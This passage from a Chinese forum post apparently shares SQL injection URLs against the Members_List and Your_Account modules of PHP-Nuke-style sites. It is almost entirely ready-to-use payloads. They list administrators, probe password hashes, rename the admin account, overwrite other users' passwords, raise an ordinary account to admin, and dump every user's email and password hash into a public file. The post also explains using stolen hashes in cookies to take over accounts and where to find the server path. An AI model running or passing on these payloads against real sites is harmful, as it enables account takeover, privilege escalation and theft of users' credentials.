http://[target]/modules.php?name=Members_List&letter=%20OR%20user_level=2/*

  - 显示管理员:

http://[target]/modules.php?name=Members_List&letter=%20OR%20user_level=4/*

  - 显示所有以“abc”开头的用户 :

http://[target]/modules.php?name=Members_List&letter=%20OR%20pass%20LIKE%20abc%25/*

  Your_Account模块 :

  - 将“Admind”用户更名为“Hophophop” :

http://[target]/modules.php?name=Your_Account&op=savetheme&theme=,name=Hophophop%20where%20uname=Admin/*&uid=[OUR_UID]

  - 在md5_decrypted中将“Bob”的密码改为“d41d8cd98f00b204e9800998ecf8427e”:

http://[target]/modules.php?name=Your_Account&op=savetheme&theme=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  或:

http://[target]/modules.php?name=Your_Account&op=saveuser&realname=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  或:

http://[target]/modules.php?name=Your_Account&op=saveuser&email=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  或:

http://[target]/modules.php?name=Your_Account&op=savehome&storynum=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  或:

http://[target]/modules.php?name=Your_Account&op=savehome&ublockon=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  或:

http://[target]/modules.php?name=Your_Account&op=savecomm&umode=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID] 
  或:

http://[target]/modules.php?name=Your_Account&op=savecomm&thold=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]

  - 将普通用户提升至管理员权限:

http://[target]/modules.php?name=Your_Account&op=savetheme&theme=,user_level=4&uid=[OUR_UID]

  或:

http://[target]/modules.php?name=Your_Account&op=saveuser&femail=,user_level=4&uid=[OUR_UID]

  或:

http://[target]/modules.php?name=Your_Account&op=saveuser&url=http://,user_level=4&uid=[OUR_UID]

  或:

http://[target]/modules.php?name=Your_Account&op=savehome&broadcast=,user_level=4&uid=[OUR_UID]

  或:

http://[target]/modules.php?name=Your_Account&op=savecomm&uorder=,user_level=4&uid=[OUR_UID]

  - 将所有用户的电子邮件和crypted密码保存在http://[target]/AllMailPass.txt中 :

http://[target]/modules.php?name=Your_Account&op=mailpasswd&uname=)
%20OR%201=1%20INTO%20OUTFILE%20/[path/to/site]/AllMailPass.txt/*

  利用Cookie发送crypted密码能访问用户帐户。

  - 将用户的所有信息保存在http://[target]/admintxt中:

http://[target]/modules.php?name=Your_Account&op=login&uname=%20OR%user_level>
1%20INTO%20OUTFILE%20/[path/to/site]/admin.txt

[path/to/site]能在http://[target]/modules/Forums/bb_smilies.php中查询到。
PYG19周年生日快乐!
您需要登录后才可以回帖 登录 | 加入我们

本版积分规则

快速回复 返回顶部 返回列表